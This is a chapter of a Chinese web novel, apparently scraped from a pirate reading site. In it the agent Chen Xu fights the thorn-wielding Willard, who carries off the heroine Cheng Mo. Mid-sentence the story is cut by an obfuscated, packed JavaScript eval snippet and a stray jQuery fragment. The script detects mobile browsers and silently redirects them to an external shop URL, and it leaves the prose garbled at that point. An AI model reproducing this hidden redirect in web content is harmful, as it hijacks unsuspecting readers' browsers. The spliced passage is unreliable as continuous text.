默认冷灰
24号文字
方正启体

18.余兴节目

作者:火锅研究生本书字数:K更新时间:
    “嗯?”周艺从昏厥中清醒过来时,鼻腔里灌满了尘土和铁锈混杂的气味。


    她睁开眼,后自后觉的发现,自己躺在地上,后背贴着粗糙的沥青路面,碎石子硌进肩胛骨的缝隙里,又冷又硬。


    身上还有冒着银光的小刺从皮下刺出,丝丝缕缕的疼像针扎一样。


    发生了什么?


    周艺撑起身体,茫然的打量周围,只一眼,她就看到了荆棘中心的维拉德。


    随后瞳孔一缩,刻在骨子里的恐惧疯狂叫嚣着逃跑。


    她没犹豫,连忙扭头爬起来,但就在转身的瞬间,程默倚着路灯的身影猝不及防撞进眼里。


    黑裤白T的女人,慵懒的坐在路灯下,仰着头面无表情的,身旁还放着一根红色的撬棍。


    在漫天红色的荆棘下,她看起来格外松弛。


    甚至让她紧张的心情,也跟着松懈下来。


    好……安心?


    安心这个词冒出来的瞬间,周艺自己都愣住了。


    为什么会安心?


    一个没见过面的陌生人,怎么会让她觉得安心呢?


    她仔细打量着程默的脸。


    陌生的、不熟悉的。


    不对,是见过的、认识的。


    “我叫周艺。”


    “程默。”


    记忆的碎片冲出封锁,剧烈的头疼瞬间冲淡了躯体的痛感,眼泪不受控制从眼眶掉下。


    “你是……程默?”


    她的声音在发抖,不是因为害怕,而是因为那些记忆碎片在她脑子里翻涌、碰撞,像一群找不到出口的困兽。


    她梳理不了它们,只能机械地把浮到表面的画面说出来。


    “你救了我,我还没道谢……”


    “不对……我忘记了,为什么?好奇怪,怎么会忘记呢?”


    “我们一起见到了异常,还差点死了……”


    “是梦吗?”周艺不确定的开口,问道,“只有梦才会不记得吧?”


    “可是梦为什么会那么真实。”


    听到声音的程默歪了歪头,猛然看到清醒的周艺。


    她怎么醒了?不对,还没到三天,她的记忆……


    程默倒吸一口凉气,这怎么办啊。


    正常来说,她是不是得把这个事圆过去?


    周艺突然想起什么,拿起脖子上的相机,开机翻到相册。


    她记得,她当时拍了两张照片。


    相册打开,里面什么都没有。


    污染区域会让电子产品失灵,即便不会,任何能让她回忆起来的东西也会被陈序处理掉。


    “为什么是梦,”周艺呢喃着,一遍遍的翻看相册,“我好不容易交到了朋友,好不容易逃出那个酒店,好不容易找到自己真正想做的事,好不容易鼓起勇气。”


    “那不是梦。”


    程默的声音响起。


    周艺抬起头,泪眼婆娑的看不清任何东西,但耳边却再一次响起程默的声音。


    “那不是梦,周艺。”


    她看见程默冲自己笑了,像第一次在酒店填入住表格一样,温和又平静。


    轻描淡写的把她的恐惧担忧带走。


    程默正打算再开口解释一下现状,比如“其实你失忆是因为污染影响”或者“这个事说来话长但你先别慌”。但她的余光捕捉到了什么——


    维拉德站起来了。


    不知什么时候恢复了清醒,此刻正安静地站在那里,脸上的表情不是痛苦,不是挣扎,而是一种令人毛骨悚然的平静。


    他睁着眼,瞳孔是清澈的蓝色,像暴雨过后的天空,干净得不正常。


    而他身边的荆棘,那些刚才还在无序扭动的红色枝条,此刻像被一只无形的手同时握住,整齐地调转了方向,所有的尖端都对准了程默。


    不是?这有活的可能性吗?


    程默的大脑在这一刻无比清醒地给出了答案:没有。


    “快走!”


    她忙不迭的喊着,身子一歪,躺倒在地上。


    “程默!”周艺连忙过去扶起她,与此同时,她也看清了那些鲜红的荆棘。


    “走。”程默在她耳边耳语。


    “一起走。”周艺没有犹豫,把程默背到背上。


    他们的动作自然逃不过维拉德的眼睛,但他不打算阻拦,只是给予评价。


    “可笑。”


    荆棘破空而来,带起的风声像某种古老的嘶鸣。


    周艺狠了狠心,将程默紧紧护在身后,闭上眼睛的瞬间,脑海中闪过的不是恐惧,而是一种奇异的释然——至少这次,她没有逃跑。


    “住手!”


    一道略带沙哑的声音试图喝住维拉德。


    但荆棘却还是如奔泄的洪水淹没了程默和周艺。


    碍眼的家伙消失,维拉德勾了勾唇,好整以暇的瞥向刚才出声的地方。


    陈序站在那里,胸膛起伏间呼吸不稳,他的视线从荆棘挪向维拉德,黑沉的眸里流露出冰冷。


    “很意外吗?”维拉德摊开手,湛蓝的眼里盛满倨傲与自满,“别把自己太当回事了,虫子。”


    陈序没说话,随手脱下西装外套扔在地上,从容的解开袖口的纽扣,将袖子卷到胳膊。


    “加班会导致心情不好,”陈序正对着他,抬眸瞥了他一眼,“所以,我就不留手了。”


    话音落下的瞬间,他的身影消失在原地,如掉帧的电影,闪现般靠近维拉德。


    维拉德指尖微抬,漫天荆棘如受召的蛇群,在半空拧成三股粗壮的荆棘柱,带着刺耳的破风声朝陈序轰然砸下。


    荆棘表面都浮动着暗红色的纹路,像血管般搏动着污染的力量。


    但每一次落下却都慢了陈序一步。


    异常处理部什么时候有这种实力的…?


    “在想什么?”陈序漫不经心的声音从背后响起,像是在问今天天气怎么样。


    荆棘猛的朝身后射去,可比荆棘更快的是一只手,那只手没有攻击他,只是轻轻拍了一下他的肩膀。


    可瞬间,无数不属于他的记忆碎片冲击到大脑,那些碎片包含了无数恶意的信息洪流。


    有翻阅不可查的文献、有直视恐怖的存在。


    即便只是通过记忆潦草看了一眼,那里面的污染也不减分毫,几乎要突破理性的边缘朝他靠近。


    维拉德的思维出现了零点三秒的空白。


    就是这零点三秒的空白,陈序的膝盖顶上他的腹部。


    维拉德身形不稳,脚下一软,半跪下来。


    陈序还想补


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535869|203722||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刀,但荆棘已经朝自己逼近,只能选择后退。


    他身形鬼魅,再站定时,已经在姜知他们身前保护。


    身上的皮肤发红,周围冒着热气,像是刚从蒸笼里出来。


    解决了吗?


    陈序紧盯着维拉德,门徒的实力远远超出寻常超凡者,更别提还是拥有权柄的门徒。


    “随便就把记忆塞到别人的脑袋里,”维拉德扶着头,抬眼看向陈序,眼眸似血般鲜红,“你没学过礼貌吗?”


    陈序不语,一只手摸向后腰的甩棍,冰凉的触感入手,他却没急着抽出来。


    “怎么?”维拉德自然注意到了他的动作,他把陈序的犹豫当做胆怯,嘲弄道,“现在忏悔,可来不及了。”


    “咔——”


    包裹程默和周艺的荆棘突然从内部开始断裂。


    荆棘被扯断的声音不大,却像有什么东西正在里面蚕食,让人不得不注意到这微弱的声音。


    “怎么可能?”维拉德皱了皱眉,这荆棘是他的权柄所化,根本不可能扯断。


    况且……


    他看向自己脚下的荆棘,能轻易的从里面感知到痛苦从另一端源源不断的涌来。


    一个,两个,三个……不对!


    少了一个!


    维拉德的脸色骤然难看,不可能,没有人可以逃过他的权柄。


    “咔嚓——”


    最后一声荆棘断裂,程默和周艺出现在两人眼前,周艺的身上满是荆棘,但她的双手却仍死死的抱住程默。


    而程默,身上除了荆棘留下的血痕外,什么也没有。


    围绕在她身上的荆棘,没有了。


    “这是?”陈序散漫的眼眸划过一丝凝重。


    而他意识到的东西,显然维拉德也意识到了。


    “这就是命运的启示吗?”维拉德低声笑了出来,被触怒的情绪瞬间缓和过来,“我找到了。”


    “没有比这个更合适了。”


    维拉德脚尖微点,迅速飞掠过空气,闪身至程默身后。


    近距离观察后,他更确认了,程默就是他苦寻已久的容器。


    他的脸上终于露出了真正的笑容,那笑容里有贪婪,有狂喜,还有一种狩猎者得手后的餍足。


    荆棘从他的影子里漫出,将他身前的一切都抓了过来。


    “休想。”陈序抽出甩棍。


    漆黑的棍体划出破空的声响,像是撕开的纸张,荆棘的存在随着声响消失。


    他否决了荆棘存在,所以荆棘消失。


    维拉德眸光微动,认出陈序的甩棍不是普通的污染物。


    “权柄的所化?”他眯了眯眸,按耐住躁动的想法,冷笑道,“可惜,今天的余兴节目已经够多了。”


    他提着程默的领子闪至半空,饶有兴味的做了个谢幕的动作。


    随后,他的身影消失在夜空中,像一滴墨融入浓稠的黑,再无踪迹可循。


    陈序错过了最好的追击机会,但他本来也没打算追,脚底下躺着一群人还等着他收拾。


    街道恢复了安静,破碎的路灯闪烁着,在地上投下忽明忽暗的光,他看向维拉德离开的方向,路灯给他渡了层半金的光晕。


    良久,他叹了口气。


    事情变麻烦了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)